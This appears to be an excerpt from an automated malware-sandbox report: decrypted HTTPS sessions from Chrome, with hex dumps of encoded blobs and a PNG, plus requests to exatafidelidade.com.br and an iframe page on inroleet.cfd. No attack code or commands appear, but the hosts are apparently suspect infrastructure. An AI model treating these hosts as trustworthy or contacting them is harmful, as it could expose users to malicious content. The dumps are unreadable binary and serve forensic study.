2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 Data Ascii: IiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiI
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 Data Ascii: AADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIg
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 Data Ascii: MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAA
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 Data Ascii: ERERERERERERERERERERERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAEREREREREREREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERE
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 Data Ascii: REREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERERERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAERERERER
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 Data Ascii: ERERERERERERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERERERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAEREREREREREREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERE
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 Data Ascii: RERERERERERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAEREREREREREREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERER

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49713	172.67.135.164	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:12 UTC	363	OUT	GET /wpimg/dhdfjdf.png HTTP/1.1 Host: exatafidelidade.com.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:12 UTC	716	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:12 GMT Content-Type: image/png Content-Length: 708456 Connection: close Cache-Control: public, max-age=315576 expires: Fri, 10 May 2024 05:57:42 GMT last-modified: Mon, 06 May 2024 09:27:28 GMT alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 86045 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Md7rPzasbADsKt5I%2FLRE8PEC%2F83PNV5OUt5YOt7k%2FPZKfSUK4ycZNhIDcuu5UVIlcr4E8oBrUCN6N5xxMBZ9B1m9579cHWQKsrAwnGu2A9ZS8E3eJuii5gSUejRCcCw8bjuvYWjC1NqP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8801cdbc5e91422d-EWR
2024-05-07 14:12:12 UTC	653	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 82 00 00 03 41 08 02 00 00 00 d2 a2 5d 6f 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 06 be 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 36 30 2c 20 32 30 32 30 2f 30 35 2f 31 32 2d 31 36 3a 30 34 3a 31 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRA]opHYs+iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17 "> <rdf:RD
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 65 3d 22 32 30 32 34 2d 30 34 2d 32 39 54 31 32 3a 34 34 3a 34 33 2d 30 37 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 35 2d 30 35 54 30 35 3a 34 34 3a 33 31 2d 30 37 3a 30 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 35 2d 30 35 54 30 35 3a 34 34 3a 33 31 2d 30 37 3a 30 30 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3d 22 33 22 20 70 68 6f 74 6f 73 68 6f 70 3a 49 43 43 50 72 6f 66 69 6c 65 3d 22 73 52 47 42 20 49 45 43 36 31 39 36 36 2d 32 2e 31 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 39 32 31 62 62 38 61 30 2d 38 33 37 36 2d 39 62 34 31 2d 39 37 64 35 2d Data Ascii: e="2024-04-29T12:44:43-07:00" xmp:ModifyDate="2024-05-05T05:44:31-07:00" xmp:MetadataDate="2024-05-05T05:44:31-07:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:921bb8a0-8376-9b41-97d5-
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 90 c0 18 09 89 99 93 20 13 e2 b8 f0 c0 81 6f 41 cc ec 7b 3f f3 32 95 0f 1c 38 70 e0 c0 81 03 57 03 22 32 73 4a 09 00 54 b5 5b af 0e 1c 38 70 e0 ed 08 c7 87 d8 52 c2 0f 22 7e 7f ec 2a 7f 41 20 74 0d ce d1 09 10 85 10 c5 99 c0 1d 10 88 99 98 89 09 8e 49 72 e0 d5 90 b5 95 ef f6 b0 f0 d0 c1 b0 d6 c4 4f 07 1f 71 e0 c0 81 03 07 0e 5c 05 ee d0 99 08 02 10 66 32 bb 98 35 8f e3 f6 c0 81 03 af 41 df 2e 10 01 80 08 c3 1f a2 73 10 87 72 f9 57 45 44 67 c4 cf 88 00 88 c4 0c 84 31 5d 10 09 e9 98 21 07 de 06 f9 d7 ed 6f df e9 51 08 04 48 44 42 2c 2c 42 cc dd bf eb 10 8d 0e 1c 38 70 e0 c0 81 ab a0 33 11 44 8c 48 44 be fd f2 c0 81 03 07 de 82 e0 22 70 4b 06 e1 6e 0e 08 87 9a 79 c0 7d 58 92 09 76 9a 9c 07 09 71 cc 90 03 af 83 fc bf ff fb ff f2 7d 9e 84 88 4c 9c 59 e6 34 7d Data Ascii: oA{?28pW"2sJT[8pR"~*A tIrOq\f25A.srWEDg1]!oQHDB,,B8p3DHD"pKny}Xvq}LY4}
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 07 f5 f4 98 df dd 0f 65 0c 9a 20 46 d3 99 89 89 10 37 aa 09 01 91 b6 56 35 d3 a6 aa a6 e6 d6 c3 2a 3e 9f 8f 78 2c 93 ed 7f bf 4b 70 f9 b6 91 0b d1 ef 3b 98 37 1f 6a 2f d0 2b 94 5e eb 9e 00 10 ca c6 d5 f3 6b 84 2e 6d e6 aa 6a aa b6 d3 6d 98 f9 c9 27 e2 a3 21 7d 0e f1 c5 4d 33 d9 bf df 97 3b 72 ef a3 67 1e f6 60 f9 c1 77 19 b1 7b c3 65 66 66 f1 a0 0d 1f 7f c4 b6 b7 6d 3a a7 99 c5 db 41 22 66 72 e7 6f 3e e8 f3 26 89 aa ba f7 00 af 7d c7 ef 8d 73 7c e1 d1 bb 78 d0 b0 cf a0 6c ee b7 d3 dd 1d 21 36 60 62 7e 76 dc b6 29 ed 1e 3b bd 99 59 e4 13 c2 e8 da 53 5f 19 4f fc c4 2d 65 9b 63 1b e3 e3 3e 7a 67 e6 e0 44 2c 22 d1 b5 57 4e f5 cf 52 74 dd bd 53 24 66 e6 00 40 88 b8 6b d5 6e 90 9f 5e a7 57 69 c0 37 ef fc 49 dd 7f d3 11 b6 bd dc 97 d7 f5 41 49 1c 38 70 e0 c0 81 Data Ascii: e F7V5*>x,Kp;7j/+^k.mjm'!}M3;rg`w{effm:A"fro>&}s\|xl!6`b~v);YS_O-ec>zgD,"WNRtS$f@kn^Wi7IAI8p
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 84 f7 ed fc 8c 3d 50 b5 95 52 96 75 ad a5 38 40 ce 29 e7 29 a5 c4 dc c9 d3 87 eb b4 35 16 49 29 dd 5f a4 3e d6 ce 37 b6 f7 b1 03 f4 4b 9e 9a 75 f7 ee 8c 9f b3 ff c3 db 8f b0 6d a2 c6 fb 15 91 9c 53 92 70 cc 64 bc bf 3a ae db d4 03 07 0e 1c 38 70 e0 33 60 66 4d db 52 d6 df d7 bb db e5 ae 99 02 0c ed 1c 60 33 66 0b 71 9b 35 1c 4e e3 68 2f ad 9e eb ba d6 b5 b4 ea ee 88 24 cc 93 24 95 2c 2c 43 d2 ed da 14 6c 14 7f e8 4f 00 30 e8 83 ed b2 ae 7a 74 05 eb 89 6b 88 3a 03 e2 8f b5 b0 1e 4c b2 d3 d2 dd 9b 69 69 75 a9 c5 dc c2 9c 9f 58 78 08 5d 9b 2f 03 8d ec 07 0f 46 e6 0d 9a b3 bb 03 84 5b 69 54 d9 58 5b 39 97 f5 ae 2c e7 b2 54 6d 84 74 4a 53 9b 74 dc 99 dd bd b4 7a 2e cb ed ba ac ad 98 fb e6 c4 5b 5b 5b 5a 11 e2 9b 7c fa 32 cd a7 3c 67 c9 42 8c e1 67 f1 48 fd 74 Data Ascii: =PRu8@))5I)_>7KumSpd:8p3`fMR`3fq5Nh/$$,,ClO0ztk:LiiuXx]/F[iTX[9,TmtJStz.[[[Z\|2<gBgHt
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 62 0e 55 30 74 ad da da f9 ee ee bc 2c cb b2 d4 52 4e 37 27 04 48 29 6f c6 d8 6b 0d d7 c5 43 61 59 cd 2c 25 11 11 6d 5a b0 82 17 1d 9e 1d db 14 75 f7 5a 5b f0 55 61 e0 6d ad ed 69 dc 4e 40 10 45 cc 45 ec 05 c1 fe a8 ea ba 2c 6b 29 65 5d 97 65 c9 da 4c b5 48 dd fc b6 89 49 24 11 62 1f 76 a2 94 d3 3c c3 50 45 af d3 f1 6d 86 d7 5a 4b 2d da 95 73 6f da 74 89 37 a3 25 65 1c 5c 78 77 cc 6f 1a 34 c4 34 4d a7 7a 6a 73 8b 97 1e 81 70 29 a5 d3 e9 26 9a ba 11 b1 57 69 67 bc 9d 65 39 97 52 dd 1d 09 b5 35 33 23 c4 d6 da 46 1f 40 1c 69 22 d4 f7 48 06 f7 68 ba a9 a9 2a 0b 13 71 df 54 bd 9b e8 25 78 22 44 22 8c 34 08 30 dc 4f 92 48 9e a6 9c f3 d5 ba d3 99 88 f5 ee f6 0e 00 c2 81 68 5d d7 f3 f9 1c 9e ff 11 99 e8 e6 8b 2c b1 db 00 00 02 6e 59 5d 88 19 c0 55 15 1c 82 77 88 Data Ascii: bU0t,RN7'H)okCaY,%mZuZ[UamiN@EE,k)e]eLHI$bv<PEmZK-sot7%e\xwo44Mzjsp)&Wige9R53#F@i"Hh*qT%x"D"40OHh],nY]Uw
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 76 58 6b f9 7d b9 6b d6 4a ab 6b ab 89 25 44 88 2c e9 cb 74 72 77 26 16 22 26 86 47 01 0b af 1b 3a 00 77 75 af 5a 83 3e 58 6b 89 58 8c 48 fa 60 dd eb 19 a3 10 49 f7 48 ef 29 2c ad 45 7e 8d d6 c2 19 24 64 c2 d2 ca 5d 59 d4 74 6d 65 ad eb 6d 39 7f 59 4f 5f a6 1b 26 ae 5a 97 5a d6 56 42 f9 4a 2c 88 58 5b 45 44 21 11 96 18 9c aa d5 dd 85 f8 94 e7 7f 7c f9 1b 22 32 0d 2f 90 7b 6d 77 33 ab d6 96 ba 2e 75 2d da fa e0 44 1e 10 04 44 14 ec d6 53 16 16 02 64 33 46 72 66 46 9e 24 07 7b 34 a7 cc 44 e6 16 d7 34 d3 b5 15 42 5c ca 7a 2e cb 4a 8c d8 f0 13 ca 66 44 76 fa 10 e3 c2 8c d6 65 b8 5a d6 65 11 49 55 d8 bb 41 6f 18 94 dc 89 d9 54 43 f3 0f 37 57 33 1b 01 dd 0c 00 92 04 1c 4a 59 5b 53 22 14 49 ee 3e e5 a9 4d 93 a5 e4 d7 35 92 07 0f d4 aa a9 b5 56 d7 75 0d 59 33 94 Data Ascii: vXk}kJk%D,trw&"&G:wuZ>XkXH`IH),E~$d]Ytmem9YO_&ZZVBJ,X[ED!\|"2/{mw3.u-DDSd3FrfF${4D4B\z.JfDveZeIUAoTC7W3JY[S"I>M5VuY3
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: e8 0c 33 03 87 79 9a fd 7a ba 7d 9c 31 51 41 81 88 82 ec 0b 5d 3d 7e 63 ad 33 3b ee 1e be 06 5b 5d 18 52 8e e6 41 b8 9f a8 02 60 12 69 ad ba fb 97 2f 5f 82 23 80 eb 39 02 98 59 ab b5 94 5a d6 b5 3b 04 b9 d5 da 96 75 09 cf a0 da aa b0 00 42 38 2f a8 5a 04 6a c6 2d a2 91 88 fd 4c 0b 52 e3 c5 ed dd 2c c8 2f a4 f0 7d 58 f7 b3 0e b7 fc 0b a6 66 eb b2 aa 2a f7 f0 a8 4f db ff 9f 3b c2 6a 59 d7 95 99 a0 4f 9b c8 cd 21 c6 12 74 8b 59 44 ea 41 6b ca cc 61 4a 32 b5 8a b5 d5 da 9a 5e dd 03 ee c0 81 03 07 0e 1c b8 3a a2 48 44 a8 a6 cd b4 59 04 5f 34 42 0e d2 a1 aa 6a 37 13 86 39 1d ad b3 15 aa 66 89 21 92 8e 31 51 64 91 88 38 82 16 56 73 f7 a2 b5 6a 43 44 73 5b 4a 41 84 c4 d2 cd 5d 08 46 06 0e 6a aa a6 cd 9a 3b ac b5 60 77 0b dd ae 71 1f 69 17 98 56 73 2b ad db 38 19 Data Ascii: 3yz}1QA]=~c3;[]RA`i/_#9YZ;uB8/Zj-LR,/}Xf*O;jYO!tYDAkaJ2^:HDY_4Bj79f!1Qd8VsjCDs[JA]Fj;`wqiVs+8
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 08 5b 34 80 59 e8 36 bd 3c ca 56 b0 e0 ea e8 ce f9 22 d3 34 31 f1 34 4d 29 27 04 04 40 2e 02 a0 38 aa 75 46 8e 92 c8 ee 9b f3 34 e5 29 62 6d 72 cb b1 eb 86 c7 f8 65 c6 9a 45 f2 88 c8 a0 e0 a1 ac 83 13 8c aa 18 5b 66 4a 22 11 36 a3 a8 46 19 d9 3a c3 93 65 73 c9 b9 6e 50 46 e7 d7 00 00 40 cd b0 35 42 0a de 77 57 dd a3 b3 2d 00 80 44 51 92 20 a8 2b 00 37 87 c8 53 c8 cc c1 13 21 8d e2 cd d7 db 54 46 e8 84 4c f3 9c cd e2 fe 23 95 86 33 f5 22 11 91 59 60 ca 53 9e 32 b8 23 96 5a 8b 3b b0 70 a7 9c bb b9 3e 1c 25 20 b6 a6 94 73 92 14 14 4c ad 31 b6 84 08 61 df e6 51 26 e3 5a 4c 44 4c fe 9c f2 94 a7 94 53 29 2b 00 a4 94 a6 69 62 16 44 2a b5 20 42 d7 bd 59 f2 34 4d 53 0e 45 3d 0c 0e 2b 14 50 08 42 26 56 59 8a 44 3b 57 25 e9 86 4f 90 a9 9a 9b 11 a1 03 b9 f7 ba 17 66 Data Ascii: [4Y6<V"414M)'@.8uF4)bmreE[fJ"6F:esnPF@5BwW-DQ +7S!TFL#3"Y`S2#Z;p>% sL1aQ&ZLDLS)+ibD* BY4MSE=+PB&VYD;W%Of
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: f4 65 ba f9 32 9d 08 51 48 1c bc b4 ca c8 73 9a 6e f2 3c a7 9c 46 1d 93 87 dd 44 20 20 21 81 04 44 34 49 1e 39 41 39 b1 08 09 21 49 84 63 9c cb 02 00 91 36 b3 a9 72 d7 7f 20 c2 60 12 8b 99 22 52 16 61 62 33 5b 5a 59 6b 29 a3 40 ab 5f 98 9a ab 61 53 44 e7 69 02 77 de 8a ae 9b a5 9c a2 d6 80 99 45 88 05 6c 29 be 98 c3 77 40 55 23 f9 1f 8c 18 69 24 32 b3 9c b2 03 98 e9 5c 6a 44 76 e4 3c e5 9c 23 bb de 15 8d 81 17 bb 65 9e 6e 6e 9a 77 d3 97 0d ed cb 6b ad 21 8b b7 a6 4c ea e2 80 e1 1a 04 51 08 03 82 88 ca 29 a5 44 48 ee 96 f2 24 22 00 de b8 45 8a 51 66 be ae e8 bc 6b 3c a7 d4 13 b3 13 73 a8 b5 e1 47 1d 19 47 10 49 92 b8 85 6b 49 26 a6 88 03 0f 2f 68 77 17 0e 8a 67 8e 55 13 f4 41 ee dc 62 64 15 ed 55 09 72 4e ad 69 04 6e 20 21 8f 1a 22 96 52 10 93 29 25 a4 28 Data Ascii: e2QHsn<FD !D4I9A9!Ic6r `"Rab3[ZYk)@_aSDiwEl)w@U#i$2\jDv<#ennwk!LQ)DH$"EQfk<sGGIkI&/hwgUAbdUrNin !"R)%(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49714	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:12 UTC	654	OUT	GET /dashboard/jdiey HTTP/1.1 Host: inroleet.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:13 UTC	224	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Connection: close Transfer-Encoding: chunked Content-Type: text/html;charset=UTF-8
